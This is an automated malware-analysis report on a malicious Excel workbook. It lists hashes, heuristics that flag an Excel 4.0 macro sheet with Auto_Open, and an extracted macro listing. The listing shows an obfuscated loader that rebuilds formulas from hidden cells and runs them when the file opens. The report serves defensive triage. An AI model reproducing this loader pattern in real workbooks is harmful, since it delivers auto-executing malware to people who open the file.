Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4e5c061af1688b82…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:26:12 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: caec6876919c6ef186e11e3bacaede1d SHA-1: 90e27744fe131b70dbe0566e18b9dc0fe3f3a243 SHA-256: 4e5c061af1688b82654de5706a0f14d4b860fb8c916dbab3045ed10dd552f437
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6662 bytes
SHA-256: 005f0d0cc4a3a81fae50abb1f18ca6dcd5901c61d5331e8b3359af2e70184e27
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  wqhPdRPFGY
' 0018     22 LABEL : Cell Value, String Constant - AfUpsoE len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!F144 
' 0018     20 LABEL : Cell Value, String Constant - ckmqJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - dYygRACyjYM len=0 
' 0018     27 LABEL : Cell Value, String Constant - EnpmteoJTThC len=0 
' 0018     24 LABEL : Cell Value, String Constant - eXPXByWcj len=0 
' 0018     26 LABEL : Cell Value, String Constant - FLrdVNCaRak len=0 
' 0018     22 LABEL : Cell Value, String Constant - GdPzVPF len=0 
' 0018     27 LABEL : Cell Value, String Constant - HjiNsyWsdFfW len=0 
' 0018     25 LABEL : Cell Value, String Constant - lXvcBynAko len=0 
' 0018     26 LABEL : Cell Value, String Constant - LYaLvGIDEpO len=0 
' 0018     24 LABEL : Cell Value, String Constant - mTVOoefvV len=0 
' 0018     27 LABEL : Cell Value, String Constant - oBTXgDEnwPHS len=0 
' 0018     26 LABEL : Cell Value, String Constant - OLybDJYyeat len=0 
' 0018     23 LABEL : Cell Value, String Constant - otSkvCNw len=0 
' 0018     26 LABEL : Cell Value, String Constant - RILYBAfFBmn len=0 
' 0018     25 LABEL : Cell Value, String Constant - SZQiwuxjdY len=0 
' 0018     23 LABEL : Cell Value, String Constant - uflTBSLB len=0 
' 0018     20 LABEL : Cell Value, String Constant - WbXli len=0 
' 0018     26 LABEL : Cell Value, String Constant - YwjAXOLdfJU len=0 
' 0018     27 LABEL : Cell Value, String Constant - zZizYKWpySkY len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  wqhPdRPFGY,F59,"SET.NAME("LYaLvGIDEpO",VALUE("0"))",""
'  wqhPdRPFGY,F64,"SET.NAME("WbXli",LYaLvGIDEpO)",""
'  wqhPdRPFGY,F67,"SET.NAME("GdPzVPF",LYaLvGIDEpO)",""
'  wqhPdRPFGY,F70,"SET.NAME("zZizYKWpySkY",COUNTA(RILYBAfFBmn))",""
'  wqhPdRPFGY,F74,"SET.NAME("mTVOoefvV",COUNTA(dYygRACyjYM))",""
'  wqhPdRPFGY,F79,[],""
'  wqhPdRPFGY,F84,"SET.NAME("eXPXByWcj","")",""
'  wqhPdRPFGY,F87,"WbXli",""
'  wqhPdRPFGY,F89,"SET.NAME("FLrdVNCaRak",HLOOKUP("*",RILYBAfFBmn,WbXli,FALSE))",""
'  wqhPdRPFGY,F91,"lXvcBynAko",""
'  wqhPdRPFGY,F93,"SET.NAME("HjiNsyWsdFfW",LYaLvGIDEpO)",""
'  wqhPdRPFGY,F95,[],""
'  wqhPdRPFGY,F98,"HjiNsyWsdFfW",""
'  wqhPdRPFGY,F101,"oBTXgDEnwPHS",""
'  wqhPdRPFGY,F104,"SZQiwuxjdY",""
'  wqhPdRPFGY,F107,"OLybDJYyeat",""
'  wqhPdRPFGY,F109,"SET.NAME("EnpmteoJTThC",VALUE(HLOOKUP("*",dYygRACyjYM,OLybDJYyeat,FALSE)))",""
'  wqhPdRPFGY,F113,"YwjAXOLdfJU",""
'  wqhPdRPFGY,F116,"eXPXByWcj",""
'  wqhPdRPFGY,F119,"GdPzVPF",""
'  wqhPdRPFGY,F122,NEXT(),""
'  wqhPdRPFGY,F127,"ckmqJ",""
'  wqhPdRPFGY,F129,"SET.NAME("f",INT(T(FORMULA(T(eXPXByWcj)&"",""&T(ckmqJ)))))",""
'  wqhPdRPFGY,F134,"otSkvCNw",""
'  wqhPdRPFGY,F137,NEXT(),""
'  wqhPdRPFGY,F141,RETURN(),""
'  wqhPdRPFGY,F174,"SET.NAME("uflTBSLB",F59)",""
'  wqhPdRPFGY,F177,"RILYBAfFBmn",""
'  wqhPdRPFGY,F182,"SET.NAME("dYygRACyjYM",R72C13)",""
'  wqhPdRPFGY,F184,"SET.NAME("otSkvCNw",194)",""
'  wqhPdRPFGY,F188,"SET.NAME("AfUpsoE",6)",""
'  wqhPdRPFGY,F193,uflTBSLB(),""
'  wqhPdRPFGY,F194,HALT(),""